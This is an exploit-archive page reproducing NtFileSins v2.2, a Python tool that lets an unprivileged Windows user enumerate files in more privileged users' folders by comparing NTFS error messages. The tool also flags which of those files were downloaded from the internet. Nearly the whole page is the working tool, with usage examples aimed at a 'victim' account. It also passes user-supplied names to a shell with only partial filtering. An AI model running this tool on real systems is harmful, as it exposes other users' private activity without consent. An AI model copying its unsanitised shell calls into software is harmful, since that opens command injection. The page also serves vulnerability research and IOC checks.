Advertisement






NtFileSins v2.2 - Windows NTFS Privileged File Access Enumeration Tool (Python v3)

CVE Category Price Severity
CWE-XXX Not specified Not specified
Author Risk Exploitation Type Date
Not specified Not specified Not specified 2020-11-08
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 0.7458 0.94905

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020110048

Below is a copy:

NtFileSins v2.2 - Windows NTFS Privileged File Access Enumeration Tool (Python v3)
from subprocess import Popen, PIPE
import sys,argparse,re

#MIT License
#Copyright (c) 2020 John Page (aka hyp3rlinx)
#Permission is hereby granted, free of charge, to any person obtaining a copy
#of this software and associated documentation files (the "Software"), to deal
#in the Software without restriction, including without limitation the rights
#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#copies of the Software, and to permit persons to whom the Software is
#furnished to do so, subject to the following conditions:

#The above copyright notice and this permission notice shall be included in all
#copies or substantial portions of the Software.

#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
#SOFTWARE.

#Permission is also explicitly given for insertion in vulnerability databases and similar,
#provided that due credit is given to the author John Page (aka hyp3rlinx).
#
#
# NtFileSins v2.2 (c)
# By John Page (aka hyp3rlinx)
# Python v3 compatible
# Enhancements: search target user dir on first pass, unless the -d flag is used, added .dat, .tmp file ext checks.
# TODO: Alternate Data Streams (ADS) check e.g. abc.txt:test.txt:$DATA
# Original advisory: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-NTFS-PRIVILEGED-FILE-ACCESS-ENUMERATION.txt
#
# NtFileSins is a Windows File Enumeration Intel Gathering Tool.
# Standard users can prove existence of privileged user artifacts.
#
# Typically, the Windows commands DIR or TYPE hand out a default "Access Denied" error message,
# when a file exists or doesn't exist, when restricted access is attempted by another user.
#
# However, accessing files directly by attempting to "open" them from cmd.exe shell,
# we can determine existence by compare inconsistent Windows error messages.
#
# Requirements: 1) target users with >= privileges (not admin to admin).
#               2) artifacts must contain a dot "." or returns false positives.
#
# Windows message "Access Denied" = Exists
# Windows message "The system cannot find the file" = Not exists
# Windows returns "no message"  OR  "c:\victim\artifact is not recognized as an internal or external command,
# operable program or batch file" = Admin to Admin so this script is not required.
#
# Profile other users by compare ntfs error messages to potentially learn their activities or machines purpose.
# For evil or maybe check for basic malware IOC existence on disk with user-only rights.

#From a defensive perspective we can leverage this to try to detect basic IOC and malware artifacts like .tmp, .ini, .dll, .exe 
#or related config files on disk with user-only rights, instead of authenticating with admin rights as a quick paranoid first pass.

#Example, if malware hides itself by unlinking themselves from the EPROCESS list in memory or using programs like WinRAP to hide
#processess from Windows TaskMgr, we may not discover them even if using tasklist command. The EPROCESS structure and flink/blink is
#how Windows TaskMgr shows all running processes. However, we may possibly detect them by testing for the correct IOC name if the
#malicious code happens to reside on disk and not only in memory. Whats cool is we can be do this without the need for admin rights.
#
#Other Windows commands that will also let us confirm file existence by comparing error messages are start, call, copy, icalcs, and cd.
#However, Windows commands rename, ren, cacls, type, dir, erase, move or del commands will issue flat out "Access is denied" messages.

#
#==========================================================================#
# NtFileSins.py - Windows File Enumeration Intel Gathering Tool v2.2 (c)   #
# By John Page (aka hyp3rlinx)                                             #
# Apparition Security                                                      #
#==========================================================================#

BANNER='''
    _   _______________ __    _____ _           
   / | / /_  __/ ____(_) /__ / ___/(_)___  _____
  /  |/ / / / / /_  / / / _ \\__ \ / / __ \/ ___/
 / /|  / / / / __/ / / /  __/__/ / / / / (__  ) 
/_/ |_/ /_/ /_/   /_/_/\___/____/_/_/ /_/____/ v2.2 (c)

                                  By hyp3rlinx
                                  ApparitionSec                                                                                                                     
'''              

sin_cnt=0
internet_sin_cnt=0
found_set=set()
zone_set=set()
ARTIFACTS_SET=set()
ROOTDIR = "c:/Users/"
ZONE_IDENTIFIER=":Zone.Identifier:$DATA"

USER_DIRS=["Contacts","Desktop","Downloads","Favorites","My Documents","Searches","Videos/Captures",
           "Pictures","Music","OneDrive","OneDrive/Attachments","OneDrive/Documents"]

APPDATA_DIR=["AppData/Local/Temp"]

EXTS = set([".contact",".url",".lnk",".search-ms",".exe",".csv",".txt",".ini",".conf",".config",".log",".pcap",".zip",".mp4",".mp3", ".bat",".tmp",
          ".wav",".docx",".pptx",".reg",".vcf",".avi",".mpg",".jpg",".jpeg",".png",".rtf",".pdf",".dll",".xml",".doc",".gif",".xls",".wmv",".dat"])

REPORT="NtFileSins_Log.txt"

def usage():
    print("NtFileSins is a privileged file access enumeration tool to search multi-account artifacts without admin rights.\n")
    print('-u victim -d Searches -a "MS17-020 - Google Search.url"')
    print('-u victim -a "<name.ext>"')
    print("-u victim -d Downloads -a <name.ext> -s")
    print('-u victim -d Contacts -a "Mike N.contact"')
    print("-u victim -a APT -b -n")
    print("-u victim -d -z Desktop/MyFiles -a  <.name>")
    print("-u victim -d Searches -a <name>.search-ms")
    print("-u victim -d . -a <name.ext>")
    print("-u victim -d desktop -a inverted-crosses.mp3 -b")
    print("-u victim -d Downloads -a APT.exe -b")
    print("-u victim -f list_of_files.txt")
    print("-u victim -f list_of_files.txt -b -s")
    print("-u victim -f list_of_files.txt -x .txt")
    print("-u victim -d desktop -f list_of_files.txt -b")
    print("-u victim -d desktop -f list_of_files.txt  -x .rar")
    print("-u victim -z -s -f list_of_files.txt")

def parse_args():
    parser.add_argument("-u", "--user", help="Privileged user target")
    parser.add_argument("-d", "--directory", nargs="?", help="Specific directory to search <e.g. Downloads>.")
    parser.add_argument("-a", "--artifact", help="Single artifact we want to verify exists.")
    parser.add_argument("-t", "--appdata", nargs="?", const="1", help="Searches the AppData/Local/Temp directory.")
    parser.add_argument("-f", "--artifacts_from_file", nargs="?", help="Enumerate a list of supplied artifacts from a file.")
    parser.add_argument("-n", "--notfound", nargs="?", const="1", help="Display unfound artifacts.")
    parser.add_argument("-b", "--built_in_ext", nargs="?", const="1", help="Enumerate files using NtFileSin built-in ext types.")
    parser.add_argument("-x", "--specific_ext", nargs="?", help="Enumerate using specific ext, e.g. <.exe> using a supplied list of artifacts, a supplied ext will override any in the supplied artifact list.")
    parser.add_argument("-z", "--zone_identifier", nargs="?", const="1", help="Identifies artifacts downloaded from the internet by checking for Zone.Identifier:$DATA.")
    #parser.add_argument("-r", "--ads_streams", nargs="?", const="1", help="Locate ADS hidden file streams (artifact name required).")
    parser.add_argument("-s", "--save", nargs="?", const="1", help="Saves successfully enumerated artifacts, will log to "+REPORT)
    parser.add_argument("-v", "--verbose", nargs="?", const="1", help="Displays the file access error messages.")
    parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show example usage.")
    return parser.parse_args()


def access(j):
    result=""
    try:
        p = Popen([j], stdout=PIPE, stderr=PIPE, shell=True)
        stderr,stdout = p.communicate()
        result = stdout.strip()
        res = result.decode("utf-8")
    except Exception as e:
        #print(str(e))
        pass
    return res


def artifacts_from_file(artifacts_file, bflag, specific_ext):
    try:
        f=open(artifacts_file, "r")
        for a in f:
            idx = a.rfind(".")
            a = a.strip()
            if a != "":
                if specific_ext:
                    if idx==-1:
                        a = a + specific_ext
                    else:
                        #replace existing ext
                        a = a[:idx] + specific_ext
                if bflag:
                    ARTIFACTS_SET.add(a)
                else:
                    ARTIFACTS_SET.add(a)
        f.close()
    except Exception as e:
        print(str(e))
        exit()


def save():
    try:
        f=open(REPORT, "w")
        for j in found_set:
            f.write(j+"\n")
        f.close()
    except Exception as e:
        print(str(e))


def recon_msg(s):
    if s == 0:
        return "Access is denied."
    else:
        return "\t[*] Artifact exists ==>"


def echo_results(args, res, x, i):
    global sin_cnt
    if res=="":
        print("\t[!] No NTFS message, you must already be admin, then this script is not required.")
        exit()
    if "not recognized as an internal or external command" in res:
        print("\t[!] You must target users with higher privileges than yours.")
        exit()
    if res != recon_msg(0):
        if args.verbose:
            print("\t"+res)
        else:
            if args.notfound:
                print("\t[-] not found: " + x +"/"+ i)
    else:
        sin_cnt += 1
        if args.save or args.zone_identifier:
            found_set.add(x+"/"+i)
        if args.verbose:
            print(recon_msg(1)+ x+"/"+i)
            print("\t"+res)
        else:
            print(recon_msg(1)+ x+"/"+i)


def valid_artifact_name(sin,args):
    idx = "." in sin
    if re.findall(r"[/\\*?:<>|]", sin):
        print("\t[!] Skipping: disallowed file name character.")
        return False
    if not idx and not args.built_in_ext and not args.specific_ext:
        print("\t[!] Warning: '"+ sin +"' has no '.' in the artifact name, this can result in false positives.")
        print("\t[+] Searching for '"+ sin +"' using built-in ext list to prevent false positives.")
    if not args.built_in_ext:
        if sin[-1] == ".":
            print("\t[!] Skipping: "+sin+" non valid file name.")
            return False
    return True


def search_missing_ext(path,args,i):
    res=""
    for x in path:
        for e in EXTS:
            res = access(ROOTDIR+"/"+x+"/"+i+e)
            if res=="":
                res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)
            if res:
                echo_results(args, res, x, i+e)


#Check if the found artifact was downloaded from internet
def zone_identifier_check(args):
    
    global ROOTDIR, internet_sin_cnt
    zone_set.update(found_set)
    
    for c in found_set:
        c = c + ZONE_IDENTIFIER
        res = access(ROOTDIR+args.user+"/"+c)
        if res == "Access is denied.":
           internet_sin_cnt += 1
           print("\t[$] Zone Identifier found: "+c+" this file was downloaded over the internet!.")
           zone_set.add(c)


#@TODO: Find ADS
def alternate_data_dreams():
    pass


def ntsins(path,args,i):
    res=""
    if i.rfind(".")==-1:
        search_missing_ext(path,args,i)
        i=""
    for x in path:
        if i != "":
            if args.built_in_ext=="1":
                for e in EXTS:
                    #Search current targets user dir first.
                    res = access(ROOTDIR+"/"+x+"/"+i+e)
                    if res=="":
                        res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)
                    if res:
                        echo_results(args, res, x, i+e)
            elif args.specific_ext:
                idx = i.rfind(".")
                if idx == -1:
                    i = i + "."
                else:
                    i = i[:idx] + args.specific_ext
            #Search current targets user dir first.
            res = access(ROOTDIR+"/"+x+"/"+i)
            if res=="":
                res = access(ROOTDIR+args.user+"/"+x+"/"+i)
            if res:
                echo_results(args, res, x, i)
            

def search(args):
    print("\tSearching...\n")
    global ROOTDIR, USER_DIRS, ARTIFACTS_SET
    
    if args.artifact:
        ARTIFACTS_SET = set([args.artifact])
        
    for i in ARTIFACTS_SET:
        idx = i.rfind(".") + 1
        if idx and args.built_in_ext:
            i = i[:idx -1:None]
        if len(i) > 0 and i != None: 
            if valid_artifact_name(i,args):
                #specific user dir search
                if args.directory:
                    single_dir=[args.directory]
                    ntsins(single_dir,args,i)
                #search appdata dirs
                elif args.appdata:
                    ntsins(APPDATA_DIR,args,i)
                #all default user dirs
                else:
                    ntsins(USER_DIRS,args,i)
        

def check_dir_input(_dir):
    if len(re.findall(r":", _dir)) != 0:
        print("[!] Check the directory arg, NtFileSins searches under c:/Users/target by default see Help -h.")
        return False
    return True


def main(args):

    global USER_DIRS

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.examples:
        usage()
        exit()

    if not args.user:
        print("[!] No target user specified see Help -h")
        exit()

    if args.appdata and args.directory:
        print("[!] Multiple search directories supplied see Help -h")
        exit()

    if args.specific_ext:
        if  "." not in args.specific_ext:
            print("[!] Must use full extension e.g. -x ."+args.specific_ext+", dot in filenames mandatory to prevent false positives.")
            exit()
            
    if args.artifact and args.artifacts_from_file:
        print("[!] Multiple artifacts specified, use just -f or -a see Help -h")
        exit()
        
    if args.built_in_ext and args.specific_ext:
        print("\t[!] Both specific and built-in extensions supplied, use only one.")
        exit()

    if args.specific_ext and not args.artifacts_from_file:
        print("\t[!] -x to be used with -f flag only see Help -h.")
        exit()
        
    if args.artifact:
        if args.artifact.rfind(".")==-1 and not args.built_in_ext:
            print("\t[!] Artifacts must contain a .ext or will result in false positives, use -b flag (built-in ext checks).")
            exit()
            
    if args.directory:
        if not check_dir_input(args.directory):
            exit()
            
    if args.artifacts_from_file:
        artifacts_from_file(args.artifacts_from_file, args.built_in_ext, args.specific_ext)

    #TODO:
    #if args.ads_streams:
        #alternate_data_dreams()

    if not args.artifact and not args.artifacts_from_file:
        print("[!] Exiting, no artifacts supplied see Help -h")
        exit()
    else:
        #Search targets user dir by default, instead of require -d flag to specify the dir.
        USER_DIRS.append(args.user)
        search(args)

    if sin_cnt >= 1 and args.zone_identifier:
        zone_identifier_check(args)
    
    if args.save and len(found_set) != 0 and not args.zone_identifier:
        save()
        
    if args.save and len(zone_set) != 0:
        found_set.update(zone_set)
        save()
    
    print("\n\tNtFileSins Detected "+str(sin_cnt)+ " out of %s" % str(len(ARTIFACTS_SET)) + " Sins.\n")
    
    if args.zone_identifier and internet_sin_cnt >= 1:
        print("\t"+str(internet_sin_cnt) + " of the sins were internet downloaded.\n")
    
    if not args.notfound:
        print("\tuse -n to display unfound enumerated files.")
    if not args.built_in_ext:
        print("\tfor extra search coverage try -b flag or targeted artifact search -a.")

    
if __name__ == "__main__":
    print(BANNER)
    parser = argparse.ArgumentParser()
    main(parse_args())

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum